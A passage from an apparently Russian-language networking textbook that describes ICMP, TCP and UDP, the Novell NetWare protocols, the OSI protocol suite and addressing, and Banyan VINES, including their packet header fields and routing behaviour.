базируясь только на внутренней информации, вне зависимости от того, насколько
успешным будет процесс и достигнет или нет пакет конечного пункта назначения.
Другими словами, IP не обеспечивает отправку в источник сообщений о
неисправностях, когда имеют место аномалии маршрутизации. Выполнение этой задачи
предоставлено другому протоколу Internet, а именно Протоколу управляющих
сообщений Internet (Internet Control Message Protocol — ICMP).
ICMP
ICMP выполняет ряд задач в пределах объединенной сети IP. В дополнение к
основной задаче, для выполнения которой он был создан (сообщение источнику об
отказах маршрутизации), ICMP обеспечивает также метод проверки способности узлов
образовывать повторное эхо в объединенной сети (сообщения Echo и Reply ICMP),
метод стимулирования более эффективной маршрутизации (сообщение Redirect ICMP —
переадресация ICMP), метод информирования источника о том, что какая-то
дейтаграмма превысила назначенное ей время существования в пределах данной
объединенной сети (сообщение Time Exceeded ICMP — “время превышено”) и другие
полезные сообщения. Сделанное недавно дополнение к IСМР обеспечивает для новых
узлов возможность нахождения маски подсети, используемой в межсети в данный
момент. В целом, ICMP является интегральной частью любых реализаций IP, особенно
таких, которые используются в роутерах.
Транспортный уровень
Транспортный уровень Internet реализуется ТСР и Протоколом Дейтаграмм
Пользователя (User Datagram Protocol — UDP). ТСР обеспечивает транспортировку
данных с установлением соединения, в то время как UDP работает без установления
соединения.
Протокол управления передачей (TCP)
Transmission Control Protocol (TCP) обеспечивает полностью дублированные, с
подтверждением и управлением потоком данных, услуги для протоколов высших
уровней.
Он перемещает данные в непрерывном неструктурированном потоке, в котором байты
идентифицируются по номерам последовательностей. ТСР может также поддерживать
многочисленные одновременные диалоги высших уровней.
Поле “порт источника” (source port) обозначает точку, в которой конкретный
процесс высшего уровня источника принимает услуги ТСР; поле “порт пункта
назначения” (destination port) обозначает порт процесса высшего уровня пункта
назначения для услуг ТСР.
Поле “номер последовательности” (sequence number) обычно обозначает номер,
присвоенный первому байту данных в текущем сообщении. В некоторых случаях оно
может также использоваться для обозначения номера исходной последовательности,
который должен использоваться в предстоящей передаче.
Поле “номер подтверждения” (acknowledgement number) содержит номер
последовательности следующего байта данных, которую отправитель пакета ожидает
для приема.
Поле “сдвиг данных” (data offset) обозначает число 32-битовых слов в заголовке
ТСР.
Поле “резерв” (reserved) зарезервировано для использования разработчиками
протокола в будущем.
Поле “флаги” (flags) содержит различную управляющую информацию.
Поле “окно” (window) обозначает размер окна приема отправителя (буферный объем,
доступный для поступающих данных).
Поле “контрольная сумма” (checksum) указывает, был ли заголовок поврежден при
транзите.
Поле “указатель срочности” (urgent pointer) указывает на первый байт срочных
данных в пакете.
Поле “опции” (options) обозначает различные факультативные возможности ТСР.
Протокол дейтаграмм пользователя (UDP)
Протокол UDP намного проще, чем ТСР; он полезен в ситуациях, когда мощные
механизмы обеспечения надежности протокола ТСР не обязательны. Заголовок UDP
имеет всего четыре поля: поле порта источника (source port), поле порта пункта
назначения (destination port), поле длины (length) и поле контрольной суммы UDP
(checksum UDP). Поля порта источника и порта назначения выполняют те же функции,
что и в заголовке ТСР. Поле длины обозначает длину заголовка UDP и данных; поле
контрольной суммы обеспечивает проверку целостности пакета. Контрольная сумма
UDP является факультативной возможностью.
Протоколы высших уровней
Комплект протоколов Internet включает в себя большое число протоколов высших
уровней, представляющих самые разнообразные применения, в том числе управление
сети, передача файлов, распределенные услуги пользования файлами, эмуляция
терминалов и электронная почта.
Протокол передачи файлов (File Transfer Protocol — FTP) обеспечивает способ
перемещения файлов между компьютерными системами. Telnet обеспечивает
виртуальную терминальную эмуляцию. Протокол управления простой сетью (Simle
network management protocol — SNMP) является протоколом управления сетью,
используемым для сообщения об аномальных условиях в сети и установления значений
допустимых порогов в сети. X Windows является популярным протоколом, который
позволяет терминалу с интеллектом связываться с отдаленными компьютерами таким
образом, как если бы они были непосредственно подключенными мониторами.
Комбинация протоколов Network File System (NFS) (Система сетевых файлов),
External Data Representation (XDP) (Представление внешней информации) и Remote
Procedure Call (RPC) (Вызов процедуры обращений к отдаленной сети) обеспечивает
прозрачный доступ к ресурсам отдаленной сети. Простой протокол передачи почты (Simple
Mail Transfer Protocol — SMTP) обеспечивает механизм передачи электронной почты.
Эти и другие применения используют услуги ТСР/IP и других протоколов Internet
низших уровней, чтобы обеспечить пользователей базовыми сетевыми услугами.
4.19. Протоколы NetWare
NetWare является операционной системой сети (network operating system — NOS) и
связанной с ней средой обеспечения услуг, разработанной Novell, Inc. и
представленной на рынок в начале 1980 гг. В то время сети были небольшими и
преимущественно гомогенными, связь рабочих групп с помощью локальных сетей была
еще новым явлением, а идея о персональном компьютере еще только начала
завоевывать популярность.
Большая часть технологии организации сетей NetWare была заимствована из Xerox
Network Systems (XNS) — системы организации сетей, разработанной Xerox
Corporation в конце 1970 гг.
K началу 1990 гг. доля в рынке NOS NetWare возросла до 50-75% (данные зависят от
исследовательских групп, занимавшихся изучением рынка). Установив свыше 500,000
сетей NetWare по всему миру и ускорив продвижение по пути объединения сетей с
другими сетями, NetWare и поддерживающие ее протоколы часто сосуществуют на
одном и том же физическом канале с многими другими популярными протоколами, в
том числе ТСР/IP, DECnet и AppleTalk.
Основы технологии
В качестве среды NOS, NetWare определяет пять высших уровней эталонной модели
OSI. Она обеспечивает совместное пользование файлами и принтером, поддержку
различных прикладных задач, таких как передача электронной почты и доступ к базе
данных, и другие услуги. Также, как и другие NOS, такие как Network File System
(NFS) компании Sun Microsystems, Inc. и LAN Manager компании Microsoft
Corporation, NetWare базируется на архитектуре клиент-сервер (сlient-server
architecture). В таких архитектурах клиенты (иногда называемые рабочими
станциями) запрашивают у серверов определенные услуги, такие как доступ к файлам
и принтеру.
Первоначально клиентами NetWare были небольшие РС, в то время как серверами были
ненамного более мощные РС. После того, как NetWare стала более популярной, она
была перенесена на другие компьютерные платформы. В настоящее время клиенты и
сервера могут быть представлены практически любым видом компьютерной системы, от
РС до универсальных вычислительных машин.
Основная характеристика системы клиент-сервер заключается в том, что доступ к
отдаленной сети является прозрачным для пользователя. Это достигается с помощью
удаленного вызова процедур (remote procedure calls) — такого процесса, когда
программа местного компьютера, работающая на оборудовании клиента, отправляет
вызов в удаленный сервер. Этот сервер выполняет указанную процедуру и возвращает
запрошенную информацию клиенту местного компьютера.
Доступ к среде
NetWare работает с Ethenet/IEEE 802.3, Token Ring/IEEE 802.5, Fiber Distributed
Data Interface (FDDI) и ARCnet.
ARСnet представляет собой систему простой сети, которая поддерживает все три
основных носителя (скрученную пару, коаксиальный кабель и волоконно-оптический
кабель) и две топологии (шина и звезда). Она была разработана корпорацией
Datapoint Corporation и выпущена в 1977. Хотя ARCnet не приобрела такую
популярность, какой пользуются Ethernet и Token Ring, ее гибкость и низкая
стоимость завоевали много верных сторонников.
Сетевой уровень
Internet Packet Exchange (IPX) является оригинальным протоколом сетевого уровня
Novell. В случае, если устройство, с которым необходимо установить связь,
находится в другой сети, IPX прокладывает маршрут для прохождения информации
через любые промежуточные сети, которые могут находиться на пути к пункту
назначения.
Пакет IPX начинается с 16-битового поля контрольной суммы (checksum), которое
устанавливается на единицы.
16-битовое поле длины (length) определяет длину полной дейтаграммы IPX в байтах.
Пакеты IPX могут быть любой длины, вплоть до размеров максимальной единицы
передачи носителя (MTU). Фрагментация пакетов не применяется.
За полем длины идет 8-битовое поле управления транспортировкой (transport
control), которое обозначает число роутеров, через которые прошел пакет. Когда
значение этого поля доходит до 15, пакет отвергается исходя из предположения,
что могла иметь место маршрутная петля.
8-битовое поле типа пакета (packet type) определяет протокол высшего уровня для
приема информации пакета. Двумя общими значениями этого поля являются 5, которое
определяет Sequenced Packet Exchange (SPX) (Упорядоченный обмен пакетами) и 17,
которое определяет NetWare Core Protocol (NCP) (Основной протокол NetWare).
Информация адреса пункта назначения (destination address) занимает следующие три
поля. Эти поля определяют сеть, главную вычислительную машину и гнездо (процесс)
пункта назначения.
Следом идут три поля адреса источника (source address), определяющих сеть,
главную вычислительную машину и гнездо источника.
За полями пункта назначения и источника следует поле данных (data). Оно содержит
информацию для процессов высших уровней.
Хотя IPX и является производной XNS, он имеет несколько уникальных
характеристик. С точки зрения маршрутизации, наиболее важное различие
заключается в механизмах формирования пакетов данных этих двух протоколов.
Формирование пакета данных — это процесс упаковки информации протокола высшего
уровня и данных в блок данных. Блоки данных являются логическими группами
информации, очень похожими на слова телефонного разговора. XNS использует
стандартное формирование блока данных Ethernet, в то время как пакеты IPX
формируются в блоки данных Ethernet Version 2.0 или IEEE 802.3 без информации
IEEE 802.2, которая обычно сопровождает эти блоки данных.
Для маршрутизации пакетов в объединенных сетях IPX использует протокол
динамической маршрутизации, называемый Routing Information Protocol (RIP)
(Протокол маршрутной информации). Также, как и XNS, RIP получен в результате
усилий компании Xerox по разработке семейства протоколов XNS. В настоящее время
RIP является наиболее часто используемым протоколом для внутренних роутеров (interior
gateway protocol-IGP) в сообществе Internet-среде международной сети,
обеспечивающей связность практически со всеми университетами и
исследовательскими институтами и большим числом коммерческих организаций в США,
а также со многими иностранными организациями.
В дополнение к разнице в механизмах формирования пакетов, Novell также
дополнительно включила в свое семейство протоколов IPX протокол, называемый
Service Adverticement Protocol (SAP) (Протокол объявлений об услугах). SAP
позволяет узлам, обеспечивающим услуги, объявлять о своих адресах и услугах,
которые они обеспечивают.
Novell также поддерживает “Блок адресуемой сети” LU 6.2 компании IBM (LU 6.2
network addressable unit — NAU). LU 6.2 обеспечивает связность по принципу
равноправных систем через среду сообщений IBM. Используя возможности LU 6.2,
которые имеются у NetWare, узлы NetWare могут обмениваться информацией через
сеть IBM. Пакеты NetWare формируются в пределах пакетов LU 6.2 для передачи
через сеть IBM.
Транспортный уровень
Sequenced Packet Exchange (SPX) (Упорядоченный обмен пакетами) является наиболее
часто используемым протоколом транспортного уровня NetWare. Novell получила этот
протокол в результате доработки Sequenced Packet Protocol (SPP) системы XNS. Как
и протокол ТСР (Transmission Control Protocol) и многие другие протоколы
транспортного уровня, SPX является надежным, с установлением соединения
протоколом, который дополняет услуги дейтаграмм, обеспечиваемые протоколами
Уровня 3.
Novell также предлагает поддержку протокола Internet Protocol (IP) в виде
формирования протоколом User Datagram Protocol (UDP)/IP других пакетов Novell,
таких как пакеты SPX/IPX. Для транспортировки через объединенные сети,
базирующиеся на IP, дейтаграммы IPX формируются внутри заголовков UDP/IP.
Протоколы высших уровней
NetWare поддерживает большое разнообразие протоколов высших уровней; некоторые
из них несколько более популярны, чем другие. NetWare shell (командный
процессор) работает в оборудовании клиентов (которое часто называется рабочими
станциями среди специалистов по NetWare) и перехватывает обращения прикладных
задач к устройству Ввод/Вывод, чтобы определить, требуют ли они доступ к сети
для удовлетворения запроса. В случае, если это так, то NetWare shell организует
пакеты запросов и отправляет их в программное обеспечение низшего уровня для
обработки и передачи по сети. В случае, если это не так, то они просто
передаются в ресурсы местного устройства Ввода/Вывода. Прикладные задачи клиента
не осведомлены о каких-либо доступах к сети, необходимых для выполнения
обращений прикладных задач. NetWare Remote Procedure Call (Netware RPC) (Вызов
процедуры обращения к отдаленной сети) является еще одним более общим механизмом
переадресации, поддерживаемым Novell.
Netware Core Protocol (NCP) (Основной протокол NetWare) представляет собой ряд
программ для сервера, предназначенных для удовлетворения запросов прикладных
задач, приходящих, например, из NetWare shell. Услуги, предоставляемые NCP,
включают доступ к файлам, доступ к принтеру, управление именами, учет
использования ресурсов, защиту данных и синхронизацию файлов.
NetWare также поддерживает спецификацию интерфейса сеансового уровня Network
Basic I/O System (NetBIOS) компаний IBM и Microsoft. Программа эмуляции NetBIOS,
обеспечиваемая NetWare, позволяет программам, написанным для промышленного
стандартного интерфейса NetBIOS, работать в пределах системы NetWare.
Услуги прикладного уровня NetWare включают NetWare Message Handling Service (NetWare
MHS) (Услуги по обработке сообщений), Btrieve, NetWare Loadable Modules (NLM)
(Загружаемые модули NetWare) и различные характеристики связности IBM. NetWare
MHS является системой доставки сообщений, которая обеспечивает транспортировку
электронной почты. Btrieve представляет собой реализацию механизма доступа к
базе данных двоичного дерева (btree) Novell. NLM реализуются как дополнительные
модули, которые подключаются к системе NetWare. В настоящее время компания
Novell и третьи участвующие стороны предоставляют NLM для чередующихся
комплектов протоколов (alternate protocol stacks), услуги связи, услуги доступа
к базе данных и много других услуг.
4.20. Протоколы OSI
В первые годы появления межкомпьютерной связи программное обеспечение
организации сетей создавалось бессистемно, для каждого отдельного случая. После
того, как сети приобрели достаточную популярность, некоторые из разработчиков
признали необходимость стандартизации сопутствующих изделий программного
обеспечения и разработки аппаратного обеспечения. Считалось, что стандартизация
позволит поставщикам разработать системы аппаратного и программного обеспечения,
которые смогут сообщаться друг с другом даже в том случае, если в их основе
лежат различные архитектуры. Поставив перед собой эту цель, ISO начала
разработку эталонной модели Open Systems Interconnections (OSI) (Взаимодействие
открытых систем). Эталонная модель OSI была завершена и выпущена в 1984 г.
В настоящее время эталонная модель OSI является самой выдающейся в мире моделью
архитектуры объединенных сетей. Она также является самым популярным средством
приобретения знаний о сетях. С другой стороны, у протоколов OSI был длинный
период созревания. И хотя известно о некоторых реализациях OSI, протоколы OSI
все еще не завоевали той популярности, которой пользуются многие патентованные
протоколы (например, DECnet и AppleTalk) и действующие стандарты (например,
протоколы Internet).
Основы технологии
Объединение сетей OSI использует уникальную терминологию.
End system (ES)
Термин “конечная система” относится к любому устройству сети, не занимающемуся
маршрутизацией.
Intermediate system (IS)
Термин “промежуточная система” относится к роутеру.
Area
“Область” обозначает группу смежных сетей и подключенных к ним хостов; область
назначается администратором сети или другим аналогичным лицом.
Domain
“Домен” представляет собой набор соединенных областей. Домены маршрутизации
обеспечивают полную связность со всеми конечными системами, находящимися в их
пределах.
Доступ к среде
Также, как и некоторые другие современные 7-уровневые комплекты протоколов,
комплект OSI включает в себя многие популярные сегодня протоколы доступа к
носителю. Это позволяет другим комплектам протоколов существовать наряду с OSI в
одном и том же носителе. В OSI входят IEEE 802.2, IEEE 802.3, IEEE 802.5, FDDI,
X.21, V.35, X.25 и другие.
Сетевой уровень
OSI предлагает услуги сетевого уровня как без установления соединения, так и
ориентированные на установления логического соединения. Услуги без установления
соединения описаны в ISO 8473 (обычно называемом Connectionless Network Protocol
— CLNP — Протокол сети без установления соединения). Обслуживание,
ориентированное на установление логического соединения (иногда называемое
Connection-Oriented Network Service — CONS) описывается в ISO 8208 (X.25
Packet-Level Protocol — Протокол пакетного уровня X.25, иногда называемый
Connection-Mode Network Protocol — CMNP) и ISO 8878 (в котором описывается, как
пользоваться ISO 8208, чтобы обеспечить ориентированные на установление
логического соединения услуги OSI). Дополнительный документ ISO 8881 описывает,
как обеспечить работу Протокола пакетного уровня X.25 в локальных сетях IEEE
802. OSI также определяет несколько протоколов маршрутизации.
В дополнение к уже упоминавшимся спецификациям протоколов и услуг, имеются
другие документы, связанные с сетевым уровнем OSI, в число которых входят:
ISO 8648
На этот документ обычно ссылаются как на “внутреннюю организацию сетевого
уровня” (internal organization of the network level — IONL). Он описывает, каким
образом можно разбить сетевой уровень на три отдельных различимых друг от друга
подуровня, чтобы обеспечить поддержку для различных типов подсетей.
ISO 8348
Этот документ обычно называют “определение услуг сети” (network service
definition). Он описывает ориентированные на установление логического соединения
услуги и услуги без установления соединения, которые обеспечивает сетевой
уровень OSI. Адресация сетевого уровня также определена в этом документе.
Определение услуг в режиме без установления соединения и определение адресации
раньше были опубликованы отдельным дополнением к ISO 8348; однако вариант ISO
8348 1993 года объединяет все дополнения в отдельный документ.
ISO TR 9575
Этот документ описывает структуру, концепции и терминологию, использованную в
протоколах маршрутизации OSI.
ISO TR 9577
Этот документ описывает, как отличать друг от друга большое число протоколов
сетевого уровня, работающих в одной и той же среде. Это необходимо потому, что в
отличие от других протоколов, протоколы сетевого уровня OSI не различаются с
помощью какого-либо идентификатора (ID) протокола или аналогичного поля
канального уровня.
Услуги без установления соединения
Как видно из названия, CLNP является протоколом дейтаграмм без установления
соединения, который используется для переноса данных и указателей неисправности.
По своим функциональным возможностям он похож на Internet Protocol (IP). Он не
содержит средств обнаружения ошибок и их коррекции, полагаясь на способность
транспортного уровня обеспечить соответствующим образом эти услуги. Он содержит
только одну фазу, которая называется “передача информации” (data transfer).
Каждый вызов какого-либо примитива услуг не зависит от всех других вызовов, для
чего необходимо, чтобы вся адресная информация полностью содержалась в составе
примитива.
В то время как CLNP определяет действующий протокол, выполняющий типичные
функции сетевого уровня, CLNS (Обслуживание сети без установления соединения)
описывает услуги, предоставляемые транспортному уровню, в котором запрос о
передаче информации реализуется доставкой, выполненной с наименьшими затратами (best
effort). Такая доставка не гарантирует, что данные не будут потеряны, испорчены,
что в них не будет нарушен порядок, или что они не будут скопированы.
Обслуживание без установления соединения предполагает, что при необходимости все
эти проблемы будут устранены в транспортном уровне. CLNS не обеспечивает никаких
видов информации о соединении или состоянии, и не выполняет настройку
соединения. Так как CLNS обеспечивает транспортные уровни интерфейсом услуг,
сопрягающим с CLNP, протоколы CNLS и CLNP часто рассматриваются вместе.
Услуги с установлением соединения
Услуги сети OSI с установлением соединения определяются ISO 8208 и ISO 8878. OSI
использует X.25 Racket-Level Protocol для перемещения данных и указателей ошибок
с установлением соединения. Для объектов транспортного уровня предусмотрено 6
услуг (одна для установления соединения, другая для разъединения соединения, и
четыре для передачи данных). Услуги вызываются определенной комбинацией из 4
примитив: запрос (request), указатель (indication), ответ (response) и
подтверждение (confirmation).
Адресация
Услуги сети OSI предоставляются транспортному уровню через концептуальную точку
на границе сетевого и транспортного уровней, известную под названием “точки
доступа к услугам сети” (network service access point — NSAP). Для каждого
объекта транспортного уровня имеется одна NSAP.
Каждая NSAP может быть индивидуально адресована в объединенной глобальной сети с
помощью адреса NSAP (в обиходе существует неточное название — просто NSAP).
Таким образом, любая конечная система OSI имеет, как правило, множество адресов
NSAP. Эти адреса обычно отличаются только последним байтом, называемом
n-selector.
Возможны случаи, когда полезно адресовать сообщение сетевому уровня системы в
целом, не связывая его с конкретным объектом транспортного уровня, например,
когда система участвует в протоколах маршрутизации или при адресации к
какой-нибудь промежуточной системе (к роутеру). Подобная адресация выполняется
через специальный адрес сети, известный под названием network entity title (NET)
(титул объекта сети). Структурно NET идентичен адресу NSAP, но он использует
специальное значение n-selector “00”. Большинство конечных и промежуточных
систем имеют только один NET, в отличие от роутеров IP, которые обычно имеют по
одному адресу на каждый интерфейс. Однако промежуточная система, участвующая в
нескольких областях или доменах, имеет право выбора на обладание несколькими NET.
Адреса NET и NSAP являются иерархическими адресами. Адресация к иерархическим
системам облегчает как управление (путем обеспечения нескольких уровней
управления), так и маршрутизацию (путем кодирования информации о топологии
сети). Адрес NSAP сначала разделяется на две части: исходная часть домена (initial
domain part — IDP) и специфичная часть домена (domain specific part — DSP). IDP
далее делится на идентификатор формата и полномочий (authority and format
identifier — AFI) и идентификатор исходного домена (initial domain identifier —
IDI).
AFI обеспечивает информацию о структуре и содержании полей IDI и DSP, в том
числе информацию о том, является ли IDI идентификатором переменной длины и
использует ли DSP десятичную или двоичную систему счислений. IDI определяет
объект, который может назначать различные значения части DSP адреса.
DSP далее подразделяется полномочным лицом, ответственным за ее управление. Как
правило, далее следует идентификатор другого управляющего авторитета, чем
обеспечивается дальнейшее делегирование управления адресом в подорганы
управления. Далее идет информация, используемая для маршрутизации, такая, как
домены маршрутизации, область (area) с доменом маршрутизации, идентификатор (ID)
станции в пределах этой области и селектор (selector) в пределах этой станции.
Транспортный уровень
Как обычно для сетевого уровня OSI, обеспечиваются услуги как без установления
соединения, так и с установлением соединения. Фактически имеется 5 протоколов
транспортного уровня OSI с установлением соединения: ТР0, ТР1, ТР2, ТР3 и ТР4.
Все они, кроме ТР4, работают только с услугами сети OSI с установлением
соединения. ТР4 работает с услугами сети как с установлением соединения, так и
без установления соединения. ТР0 является самым простым протоколом транспортного
уровня OSI, ориентированным на установления логического соединения. Из набора
классических функций протокола транспортного уровня он выполняет только
сегментацию и повторную сборку. Это означает, что ТР0 обратит внимание на
протокольную информационную единицу (protocol data unit — PDU) с самым маленьким
максимальным размером, который поддерживается лежащими в основе подсетями, и
разобьет пакет транспортного уровня на менее крупные части, которые не будут
слишком велики для передачи по сети.
В дополнение к сегментации и повторной сборке ТР1 обеспечивает устранение
базовых ошибок. Он нумерует все PDU и повторно отправляет те, которые не были
подтверждены. ТР1 может также повторно инициировать соединение в том случае,
если имеет место превышение допустимого числа неподтвержденных РDU.
ТР2 может мультиплексировать и демультиплексировать потоки данных через
отдельную виртуальную цепь. Эта способность делает ТР2 особенно полезной в
общедоступных информационных сетях (PDN), где каждая виртуальная цепь
подвергается отдельной загрузке. Подобно ТР0 и ТР1, ТР2 также сегментирует и
вновь собирает PDU.
ТР3 комбинирует в себе характеристики ТР1 и ТР2.
ТР4 является самым популярным протоколом транспортного уровня OSI. ТР4 похож на
протокол ТСР из комплекта протоколов Internet; фактически, он базировался на ТСР.
В дополнение к характеристикам ТР3, ТР4 обеспечивает надежные услуги по
транспортировке. Его применение предполагает сеть, в которой проблемы не
выявляются.
Протоколы высших уровней
Сеансовый уровень
Протоколы сеансового уровня OSI преобразуют в сеансы потоки данных, поставляемых
четырьмя низшими уровнями, путем реализации различных управляющих механизмов. В
число этих механизмов входит ведение учета, управление диалогом (то есть
определение, кто и когда может говорить) и согласование параметров сеанса.
Управление диалогом сеанса реализуется путем использования маркера (token),
обладание которым обеспечивает право на связь. Маркер можно запрашивать, и
конечным системам ES могут быть присвоены приоритеты, обеспечивающие
неравноправное пользование маркером.
Представительный уровень
Представительный уровень OSI, как правило, является просто проходным протоколом
для информации из соседних уровней. Хотя многие считают, что Abstract Syntax
Notation 1 (ASN.1) (Абстрактное представление синтаксиса) является протоколом
представительного уровня OSI, ASN.1 используется для выражения форматов данных в
независимом от машины формате. Это позволяет осуществлять связь между
прикладными задачами различных компьютерных систем способом, прозрачным для этих
прикладных задач.
Прикладной уровень
Прикладной уровень ОSI включает действующие протоколы прикладного уровня, а
также элементы услуг прикладного уровня (application service elements — ASE).
ASE обеспечивают легкую связь протоколов прикладного уровня с низшими уровнями.
Тремя наиболее важными ASE являются Элемент услуг управления ассоциацией (Association
Control Service Element — ACSE), Элемент услуг получения доступа к операциям
отдаленного устройства (Remote Operations Service Element — ROSE) и Элемент
услуг надежной передачи (Reliable Transfer Service Element — RTSE). При
подготовке к связи между двумя протоколами прикладного уровня ACSE объединяет их
имена друг с другом. ROSE реализует родовой (generic) механизм “запрос/ответ”,
который разрешает доступ к операциям отдаленного устройства способом, похожим на
вызовы процедуры обращений к отделенной сети (remote procedure calls — RPC).
RTSE способствует надежной доставке, делая конструктивные элементы сеансового
уровня легкими для использования. Наибольшего внимания заслуживают следующие
пять протоколов прикладного уровня OSI:
● Common Management Information Protocol (CMIP)
Протокол общей информации управления — протокол управления сети OSI Также, как и
SNMP, он обеспечивает обмен управляющей информацией между ES и станциями
управления (которые также являются ES).
● Directory Services (DS)
Услуги каталогов. Разработанная на основе спецификации Х.500 CITT, эта услуга
предоставляет возможности распределенной базы данных, которые полезны для
идентификации и адресации узлов высших ровней.
● File Transfer, Access and Management (FTAM)
Передача, доступ и управление файлами — услуги по передаче файлов. В дополнение
к классической передаче файлов, для которой FTAM обеспечивает многочисленные
опции, FTAM также обеспечивает средства доступа к распределенным файлам таким же
образом, как это делает NetWare компании Novell, Inc или Network File System (NFS)
компании Sun Microsystems, Inc.
● Massage Handling Systems (MHS)
Системы обработки сообщений — обеспечивает механизм, лежащий в основе
транспортировки данных для прикладных задач передачи сообщений по электронной
почте и других задач, требующих услуг по хранению и продвижению данных. Хотя они
и выполняют аналогичные задачи, MHS не следует путать с NetWare MHS компании
Novell.
● Virtual Terminal Protocol (VTP)
Протокол виртуальных терминалов — обеспечивает эмуляцию терминалов. Другими
словами, он позволяет компьютерной системе для отдаленной ES казаться
непосредственно подключенным терминалом. С помощью VTP пользователь может,
например, выполнять дистанционные работы на универсальных вычислительных
машинах.
4.21. Banyan VINES
Компания Banyan Virtual Network System (VINES) реализовала систему
распределенной сети, базирующуюся на семействе патентованных протоколов,
разработанных на основе протоколов Xerox Network Systems (XNS) компании XEROX.
Среда распределенной системы обеспечивает прозрачный для пользователя обмен
информации между клиентами (компьютерами пользователя) и служебными устройствами
(компьютерами специального назначения, которые обеспечивают услуги, такие, как
файловое и принтерное обслуживание). Наряду с NetWare компании Novell, LAN
Server компании IBM и LAN Manager компании Microsoft, VINES является одной из
самых популярных сред распределенной системы для сетей, базирующихся на
микрокомпьютерах.
Доступ к среде
Два низших уровня комплекта протоколов VINES реализованы с помощью различных
общеизвестных механизмов доступа к носителю, включая Управление информационным
каналом высшего уровня (HDLC), Х.25, Ethernet и Token Ring.
Сетевой уровень
Для выполнения функций Уровня 3 (в том числе маршрутизации в объединенной сети)
VINES использует Протокол межсетевого обмена VINES (VINES Internetwork Protocol
— VIP). VINES также обеспечивает собственный Протокол разрешения адреса (ARP),
собственную версию Протокола информации маршрутизации (Routing Information
Protocol — RIP), которая называется Протоколом корректировки маршрутизации (Routing
Update Protocol — RTP) и Протокол управления Internet (ICP), который
обеспечивает обработку исключительных состояний и специальной информации о
затратах маршрутизации. Пакеты ICP, RTP и ARP формируются в заголовке VIP.
Протокол межсетевого обмена VINES (VIP)
Адреса сетевого уровня VINES являются 48-битовыми объектами, подразделенными на
сетевую (32 бита) и подсетевую (16 битов) части. Сетевой номер можно описать как
номер какого-нибудь служебного устройства, так как он получается непосредственно
из ключа (key) служебного устройства (аппаратного модуля, который обозначает
уникальный номер и программные опции для данного служебного устройства).
Подсетевая часть адреса VINES лучше всего описывается как номер хоста, так как
он используется для обозначения хоста в сетях VINES.
Сетевой номер обозначает логическую сеть VINES, которая представлена в виде
двухуровневого дерева, корень которого находится в узле обслуживания (service
node). Узлы обслуживания, которыми обычно являются служебные устройства,
обеспечивают услуги разрешения адреса и услуги маршрутизации клиентам (client),
которые являются листьями этого дерева. Узел обслуживания назначает адреса VIP
клиентам.
Когда какой-нибудь клиент включает питание, он направляет широковещательный
запрос служебным устройствам. Все служебные устройства, которые получают этот
запрос, посылают ответ. Клиент выбирает первый ответ и запрашивает у данного
служебного устройства адрес подсети (хоста). Служебное устройство отвечает
адресом, состоящим из его собственного сетевого адреса (полученного из его
ключа), объединенного с адресом подсети (хоста), который он выбрал сам. Адреса
подсети клиента обычно назначаются последовательно, начиная с 8001H. Адреса
подсети служебного устройства всегда 1.
Динамичное назначение адреса не является уникальным явлением в индустрии сетей (AppleTalk
также использует этот процесс); однако этот процесс определенно не является
таким обычным процессом, как статическое назначение адреса. Так как адреса
выбираются исключительно каким-нибудь одним конкретным служебным устройством
(чей адрес является уникальным вследствие уникальности аппаратного ключа),
вероятность дублирования адреса (что является потенциально опасной проблемой для
сети Internet Protocol (IP) и других сетей) очень мала.
В схеме сети VINES все служебные устройства с несколькими интерфейсами в
основном являются роутерами. Клиенты всегда выбирают свое собственное служебное
устройство в качестве роутера для первой пересылки, даже если другое служебное
устройство, подключенное к этому же кабелю, обеспечивает лучший маршрут к
конечному пункту назначения. Клиенты могут узнать о других роутерах, получая
переадресованные сообщения от своего служебного устройства. Так как клиенты
полагаются на свои служебные устройства при первой пересылке маршрутизации,
служебные устройства VINES поддерживают маршрутные таблицы, которые помогают им
находить отдаленные узлы.
Маршрутные таблицы VINES состоят из пар “хост/затраты”, где хост соответствует
сетевому узлу, до которого можно дойти, а затраты — временной задержке в
миллисекундах, необходимой для достижения этого узла. RTP помогает служебным
устройствам VINES находить соседних клиентов, служебные устройства и роутеры.
Все клиенты периодически объявляют как о своих адресах сетевого уровня, так и о
адресах МАС-уровня с помощью пакета, эквивалентного пакету “hello”
(приветственное сообщение). Пакеты “hello” означают, что данный клиент все еще
работает и сеть готова. Сами служебные устройства периодически отправляют в
другие служебные устройства маршрутные корректировки. Маршрутные корректировки
извещают другие роутеры об изменениях адресов узлов и топологии сети.
Когда какое-нибудь служебное устройство VINES принимает пакет, оно проверяет
его, чтобы узнать, для чего он предназначается — для другого служебного
устройства или для широкого вещания. В случае, если пунктом назначения является
данное служебное устройство, то это служебное устройство соответствующим образом
обрабатывает этот запрос. В случае, если пунктом назначения является другое
служебное устройство, то данное служебное устройство либо непосредственно
продвигает этот пакет (если это служебное устройство является его соседом), либо
направляет его в служебное устройство/роутер, которые являются следующими в
очереди. В случае, если данный пакет является широковещательным, то данное
служебное устройство проверяет его, чтобы узнать, пришел ли этот пакет с
маршрута с наименьшими затратами. В случае, если это не так, то пакет
отвергается. В случае, если же это так, то пакет продвигается на всех
интерфейсах, за исключением того, на котором этот пакет был принят. Такой метод
помогает уменьшить число широковещательных возмущений, которые являются обычной
проблемой в других сетевых окружениях.
Пакет VIP начинается с поля контрольной суммы (checksum), используемой для
обнаружения искажений в пакете.
За полем контрольной суммы идет поле длины пакета (packet length), которое
обозначает длину всего пакета VIP.
Следующим полем является поле управления транспортировкой (transport control),
которое состоит из нескольких подполей. В случае, если пакет является
широковещательным, то предусматривается два подполя: подполе класса (class) (с 1
по 3 биты) и подполе числа пересылок (hopcount) (с 4 по 7 биты). В случае, если
пакет не является широковещательным пакетом, то предусматривается 4 подполя:
подполе ошибки (error), подполе показателя (metric), подполе переадресации (redirect),
и подполе числа пересылок (hop count). Подполе класса определяет тип узла,
который должен принимать широковещательное сообщение. С этой целью узлы
разделяются на несколько различных категорий, зависящих от типа узла и типа
канала, к которому принадлежит узел. Определяя тип узлов, которые должны
принимать широковещательные сообщения, подполе класса уменьшает вероятность
срывов в работе, вызываемых широковещательными сообщениями. Подполе числа
пересылок представляет собой число пересылок (число пересеченных роутеров),
через которые прошел пакет. Подполе ошибок определяет, надо ли протоколу ICP
отправлять пакет уведомления об исключительной ситуации в источник пакета, если
пакет окажется немаршрутизируемым. Подполе показателя устанавливается в 1
транспортным объектом, когда ему необходимо узнать затраты маршрутизации при
перемещения пакетов между каким-нибудь узлом обслуживания и одним из соседей.
